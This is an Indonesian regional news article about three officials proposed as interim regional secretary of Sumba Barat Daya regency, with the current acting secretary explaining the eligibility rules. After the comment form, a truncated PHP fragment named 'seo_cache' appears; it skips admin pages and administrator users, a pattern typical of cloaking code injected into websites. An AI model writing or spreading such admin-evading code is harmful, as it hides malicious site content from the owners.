Birokrasi

Tiga Nama Diusulkan sebagai Calon Penjabat Sekda SBD

×

Tiga Nama Diusulkan sebagai Calon Penjabat Sekda SBD

Sebarkan artikel ini

TAMBOLAKA, MENARASUMBA.COM – Tiga nama akan diusulkan sebagai Penjabat Sekda SBD.

Hal tersebut disampaikan Plt Sekda Kabupaten SBD, Drs Lukas Ngongo Gaddi kepada media ini, Rabu (23/10/2024) di ruang kerjanya.

“Usulannya sudah saya paraf juga dan kemudian ditandatangani Pak Penjabat Bupati untuk diteruskan kepada penjabat gubernur,” kata Lukas Gaddi.

Ia menjelaskan, tiga nama yang diusulkan tersebut adalah Drs Edmundus Nau, Christofel Horo, SH, dan Umbu Remu Samapaty, S.Sos.

Drs Edmundus Nau saat ini menjabat sebagai Kepala Badan Pengelolaan Keuangan dan Aset Daerah Kabupaten SBD, dan Christofel Horo, SH merupakan Asisten Bidang Pemerintahan dan Kesejahteraan Rakyat Setda Kabupaten SBD.

Sementara Umbu Remu Samapaty, S.Sos adalah Sekretaris DPRD Kabupaten SBD.

“Syarat untuk bisa diusulkan adalah pejabat eselon II yang masa aktifnya sebagai ASN tidak boleh kurang dari satu tahun,” jelasnya lagi.

Karena itu ia sendiri tidak masuk dalam daftar usulan itu karena masa aktifnya sebagai ASN tidak memenuhi syarat.

“Tujuh bulan lagi saya sudah pensiun jadi tidak memenuhi syarat untuk dicalonkan,” imbuhnya.

Dikatakan Lukas Gaddi, nama ketiga pejabat tersebut diusulkan atas dasar pertimbangan dan penilaian dari berbagai aspek.

Ketiganya dinilai memiliki reputasi kinerja sebagai ASN yang berdedikasi penuh dalam tugas pengabdian.

“Salah satu dasar pertimbangan Pak Penjabat Bupati, kewenangan dan masa jabatan pelaksana tugas Sekda terbatas. Karena itu harus segera ada penjabat Sekda,” tambahnya lagi.

Asisten Bidang Administrasi Umum Setda Kabupaten SBD ini menjelaskan, Plt Sekda hanya melakukan tugas rutin Sekda definitif yang bersifat administratif.

“Masa jabatan Plt Sekda juga terbatas karena hanya mengisi kekosongan akibat Sekda definitif berhalangan untuk sementara waktu,” tuturnya.

Sedangkan penjabat Sekda bisa mengambil keputusan strategis dan menjalankan tugas-tugas penting sesuai dengan jabatan sekretaris daerah dengan masa jabatan yang lebih lama..

Dokumen usulan nama calon penjabat Sekda ini, katanya lebih lanjut, akan segera dikirim kepada Penjabat Gubernur NTT.

“Tergantung siapa nanti yang ditunjuk penjabat gubernur, kita harap paling lambat bulan depan sudah ada penjabat Sekda,” tandasnya. ( JIP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>